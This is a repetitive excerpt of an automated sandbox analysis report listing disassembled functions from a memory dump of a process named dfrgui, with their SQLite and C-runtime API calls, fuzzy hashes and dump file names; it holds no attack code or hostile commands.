Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmp$sqlite3_freesqlite3_initializesqlite3_malloc
String ID: ra
API String ID: 2308590742-515669570
Opcode ID: b95b27a2265ab1cddfdf34a9dfc9760ef71502481e580549df37e443259dadaf
Instruction ID: eaaf0b97d9b811d5c3cbff90111693eb57aca262b88ce71591f4b19e893193bc
Opcode Fuzzy Hash: b95b27a2265ab1cddfdf34a9dfc9760ef71502481e580549df37e443259dadaf
Instruction Fuzzy Hash: 1321C67260C2418BEB018FA9958275B7BE6EFC6318F39C468DC984B309D775D84A8792

Uniqueness

Uniqueness Score: -1.00%

Function 61E93520 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 61E93545
__dllonexit.MSVCRT ref: 61E93583
_unlock.MSVCRT ref: 61E935B3
_onexit.MSVCRT ref: 61E935C7

Strings

ti, xrefs: 61E93524, 61E9354A, 61E93596

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID: ti
API String ID: 209411981-2601316754
Opcode ID: 736b2c633bc001e1a8ae71ef639aa89015edadd58898536a64f0c085db22f799
Instruction ID: 985a3df0f090727277d594f949547fe837932f80f1f2155501a7ec836d8efe15
Opcode Fuzzy Hash: 736b2c633bc001e1a8ae71ef639aa89015edadd58898536a64f0c085db22f799
Instruction Fuzzy Hash: 161195B5919B428FCB50EF75C48451EFBE0AB99354F158D2EE4D48B340E734D4848B82

Uniqueness

Uniqueness Score: -1.00%

Function 61E3B54D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E3B569
sqlite3_value_text.SQLITE3 ref: 61E3B576
sqlite3_mprintf.SQLITE3 ref: 61E3B5A6

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

sqlite3_result_error.SQLITE3 ref: 61E3B5BC

Strings

after rename, xrefs: 61E3B587

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_initializesqlite3_mprintfsqlite3_result_errorsqlite3_vmprintf
String ID: after rename
API String ID: 473106834-392022782
Opcode ID: f2123a76cef1a4a69deae10863c91edc1ce96b7d3e58891d9762c6008c4da440
Instruction ID: adede2551f90e0591c819948ee3daa26ec604fed3b177b1353099e6f756ff43d
Opcode Fuzzy Hash: f2123a76cef1a4a69deae10863c91edc1ce96b7d3e58891d9762c6008c4da440
Instruction Fuzzy Hash: 7B0108B59087159BC700EF69C48549EFBF6BFC8260F61C92EE8988B350E734C8418B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E1B1D6 Relevance: 7.7, APIs: 5, Instructions: 216COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E1B22E
sqlite3_malloc64.SQLITE3 ref: 61E1B2CE
sqlite3_free.SQLITE3 ref: 61E1B1F5

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_free.SQLITE3 ref: 61E1B45D

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc64sqlite3_mutex_enter
String ID:
API String ID: 3222813361-0
Opcode ID: 4ecff7d9d455c795ecd04105dbdbf52fc599a0e92ef87759ee9e7e9a738b9f47
Instruction ID: 9cd2706f91924b7e009fb00111979a7ac826af9421b746feedc3d15ac09a5aa9
Opcode Fuzzy Hash: 4ecff7d9d455c795ecd04105dbdbf52fc599a0e92ef87759ee9e7e9a738b9f47
Instruction Fuzzy Hash: F2A1BF75D05218CBDB04CFA9D484ADDBBF1BF88314F25C52AE858AB358E774A946CF80

Uniqueness

Uniqueness Score: -1.00%

Function 61E05113 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_strnicmp.SQLITE3 ref: 61E0528D
sqlite3_strnicmp.SQLITE3 ref: 61E052B4
sqlite3_strnicmp.SQLITE3 ref: 61E052F4
sqlite3_strnicmp.SQLITE3 ref: 61E0531E
sqlite3_strnicmp.SQLITE3 ref: 61E05347

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strnicmp
String ID:
API String ID: 1961171630-0
Opcode ID: 93009fa868e9b07ea392630c702db0edbb3daf21a3ee036e4a6b213cbe74e8d1
Instruction ID: 49c5ded176830feb384116133c2a6b755fddcc36b3502f5c002099c47ac03b9f
Opcode Fuzzy Hash: 93009fa868e9b07ea392630c702db0edbb3daf21a3ee036e4a6b213cbe74e8d1
Instruction Fuzzy Hash: 2951166444834689EB204E9484823AABBF2AF4370FF78D50AE4A447355C3BFC4BBD613

Uniqueness

Uniqueness Score: -1.00%

Function 61E49AF5 Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,61E49DA0), ref: 61E49B1E
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,61E49DA0), ref: 61E49CAB
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,61E49DA0), ref: 61E49CBD
sqlite3_free.SQLITE3 ref: 61E49CD4
sqlite3_free.SQLITE3 ref: 61E49CDC

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mutex_leave$sqlite3_mutex_free
String ID:
API String ID: 2921195555-0
Opcode ID: d19dedab9cb5e6f11c54e1e51d91f6ae964ce5efce376d1f248536dfd4b7238e
Instruction ID: 792a80c48487ec52687e807984b257154e637deec0cdc0557b6d80cb6cd94670
Opcode Fuzzy Hash: d19dedab9cb5e6f11c54e1e51d91f6ae964ce5efce376d1f248536dfd4b7238e
Instruction Fuzzy Hash: A6518C70A046028BDB10DF69D9C0649B7B0FF88318F25C96CDC99AF305C738E852CB98

Uniqueness

Uniqueness Score: -1.00%

Function 61E3B411 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

sqlite3_realloc64.SQLITE3 ref: 61E3B455
sqlite3_mprintf.SQLITE3 ref: 61E3B488
sqlite3_free.SQLITE3 ref: 61E3B4B4
sqlite3_mprintf.SQLITE3 ref: 61E3B4C0
sqlite3_malloc64.SQLITE3 ref: 61E3B504

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mprintf$sqlite3_freesqlite3_malloc64sqlite3_realloc64
String ID:
API String ID: 4073198082-0
Opcode ID: d6c22134a046c69aa067e8e4f4371d3fe0c75385b646ee908d42d66d9be81af1
Instruction ID: 8fa6be03c7dba9889ae9520060d40073695be672e9dd452269ac1d368761de8d
Opcode Fuzzy Hash: d6c22134a046c69aa067e8e4f4371d3fe0c75385b646ee908d42d66d9be81af1
Instruction Fuzzy Hash: 424136B1A04625DFDB04CF64D48465ABBE2FF88314F24C469EC5A8F385E734E851CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 61E37D67 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

sqlite3_result_null.SQLITE3 ref: 61E37D89
sqlite3_result_int.SQLITE3 ref: 61E37DA8
sqlite3_result_int64.SQLITE3 ref: 61E37E5D
sqlite3_result_double.SQLITE3 ref: 61E37E91
sqlite3_malloc.SQLITE3 ref: 61E37ECE
sqlite3_result_text.SQLITE3 ref: 61E37F77

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mallocsqlite3_result_doublesqlite3_result_intsqlite3_result_int64sqlite3_result_nullsqlite3_result_text
String ID:
API String ID: 402655203-0
Opcode ID: 409e3fb8d297a66fef37320e8562a33fe7adda16b435449ee7870a634a7c3f30
Instruction ID: 09ddba835bcf15fbde6aa1b2efeba233e6b5c616b17edc70f301b9b60d68e0d7
Opcode Fuzzy Hash: 409e3fb8d297a66fef37320e8562a33fe7adda16b435449ee7870a634a7c3f30
Instruction Fuzzy Hash: 0D416A70D092A5DEDB109FADC194AADBBF1ABC9358F25C41EE4849B341C735D881DB22

Uniqueness

Uniqueness Score: -1.00%

Function 61E499E3 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 61E13FAA: sqlite3_mutex_try.SQLITE3(?,?,?,61E1402A), ref: 61E13F4A

sqlite3_mutex_enter.SQLITE3 ref: 61E49A47
sqlite3_mutex_free.SQLITE3 ref: 61E49A88
sqlite3_mutex_leave.SQLITE3 ref: 61E49A98
sqlite3_free.SQLITE3 ref: 61E49AC7
sqlite3_free.SQLITE3 ref: 61E49AE6

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
String ID:
API String ID: 1894464702-0
Opcode ID: 6112742a624d4eaa717f268fcb4be937bb7e56b8546d4e67576ec64d333ddfe2
Instruction ID: 5b27ad18fcb023b1d1ff9fd32e39f905edc900126d4f03650a5b99fe2b41fa34
Opcode Fuzzy Hash: 6112742a624d4eaa717f268fcb4be937bb7e56b8546d4e67576ec64d333ddfe2
Instruction Fuzzy Hash: B3313B34B046428BEB14DFAAD5C0A1A7BF6BFC9348B29C469D8449B315E734E8819B81

Uniqueness

Uniqueness Score: -1.00%

Function 61E3B5D0 Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_value_int.SQLITE3 ref: 61E3B602
sqlite3_mprintf.SQLITE3 ref: 61E3B69E

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

sqlite3_result_error_nomem.SQLITE3 ref: 61E3B6AC
sqlite3_free.SQLITE3 ref: 61E3B6CE
sqlite3_result_double.SQLITE3 ref: 61E3B6E5

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mprintfsqlite3_result_doublesqlite3_result_error_nomemsqlite3_value_intsqlite3_vmprintf
String ID:
API String ID: 1587739625-0
Opcode ID: d762e509f5cb1270798c3d8b0ed4d09417eb475e6e46246839d711bae6bfec28
Instruction ID: 05412b70bd6f85b6680fb51a4016b66afa1f036956eca5f0188ea7ea7b92be12
Opcode Fuzzy Hash: d762e509f5cb1270798c3d8b0ed4d09417eb475e6e46246839d711bae6bfec28
Instruction Fuzzy Hash: 7131E6B0E09A66DBCB016F95C94069D7BB0FFC5348F25C419D48297346E735C891DB82

Uniqueness

Uniqueness Score: -1.00%

Function 61E254EB Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 61E25519
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,61E25634), ref: 61E2552D
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,61E25634), ref: 61E25555
sqlite3_log.SQLITE3 ref: 61E25573
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,61E25634), ref: 61E255A9

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave$sqlite3_mutex_enter
String ID:
API String ID: 1015584638-0
Opcode ID: 5d56031a8bb84752336a9039dd8ba1404a2053eeba999a34ddac633c5ec7c6ae
Instruction ID: 98e21844386c5f0eb86ad88f7432d10628e26b3a42b8c8f0e090f05616cc53f9
Opcode Fuzzy Hash: 5d56031a8bb84752336a9039dd8ba1404a2053eeba999a34ddac633c5ec7c6ae
Instruction Fuzzy Hash: 6631E035605B018BDB009FA8C6A47957BE2EF86318F29C5A9EC44CF35EE734D841CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E32FAB Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

sqlite3_str_appendf.SQLITE3 ref: 61E3300B
sqlite3_str_append.SQLITE3 ref: 61E3303E
sqlite3_str_appendall.SQLITE3 ref: 61E33058
sqlite3_str_append.SQLITE3 ref: 61E33070
sqlite3_str_appendall.SQLITE3 ref: 61E3307C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_str_appendsqlite3_str_appendall$sqlite3_str_appendf
String ID:
API String ID: 3231710329-0
Opcode ID: e866f743c30b3a94c2121f70096810fb02a0b0b762d4b88d13cd1d54cc961783
Instruction ID: 30878b403b572a8ddf810af99fc1ca3b1dd9d579f515fb15a79ce77769efa307
Opcode Fuzzy Hash: e866f743c30b3a94c2121f70096810fb02a0b0b762d4b88d13cd1d54cc961783
Instruction Fuzzy Hash: F531F4B09057599BC710DFA9C89479EFBF1BF88314F24892DD488AB350D776A942CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E4983D Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E49852
sqlite3_mutex_enter.SQLITE3 ref: 61E4985D
sqlite3_mutex_leave.SQLITE3 ref: 61E49916
sqlite3_mutex_leave.SQLITE3 ref: 61E49921

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: 355cdd5004a08f0de6b7f785f4f298d2ba23b5528131c60e6c40e3f6fb246cde
Instruction ID: d0ac7e2d04bc2d04bfb40ff7e431178190c03de74fec9d8161b812fd9134e836
Opcode Fuzzy Hash: 355cdd5004a08f0de6b7f785f4f298d2ba23b5528131c60e6c40e3f6fb246cde
Instruction Fuzzy Hash: 08218D74A08756CBD7009FA9D68460ABBE4FFC9718F28C41EEC989B305D774D851CB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E38A03 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E38A11

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_mutex_enter.SQLITE3 ref: 61E38A29
sqlite3_mutex_leave.SQLITE3 ref: 61E38A4C
sqlite3_mutex_leave.SQLITE3 ref: 61E38A90
sqlite3_memory_used.SQLITE3 ref: 61E38A95

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_leave$sqlite3_mutex_enter$sqlite3_configsqlite3_initializesqlite3_memory_used
String ID:
API String ID: 2853221962-0
Opcode ID: 031e5a497ec252448d44849d773f94ecd0f541e9952077c52477e4cf24af345f
Instruction ID: a314d4ed54b9b3ac1784280a8de53b3a92d5c7d9bf62fefd5731d83f770ebcb7
Opcode Fuzzy Hash: 031e5a497ec252448d44849d773f94ecd0f541e9952077c52477e4cf24af345f
Instruction Fuzzy Hash: 39114C30B14A168BCF04DFBAC89095E77F1ABCA314B24C62AE854CB340D730E886DB81

Uniqueness

Uniqueness Score: -1.00%

Function 61E0ACE3 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,00000000,?,61E149F2), ref: 61E0AD0D
sqlite3_mutex_leave.SQLITE3(?,00000000,?,61E149F2), ref: 61E0AD49
sqlite3_mutex_enter.SQLITE3(?,00000000,?,61E149F2), ref: 61E0AD62
sqlite3_mutex_leave.SQLITE3(?,00000000,?,61E149F2), ref: 61E0AD75
sqlite3_free.SQLITE3(?,00000000,?,61E149F2), ref: 61E0AD7D

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

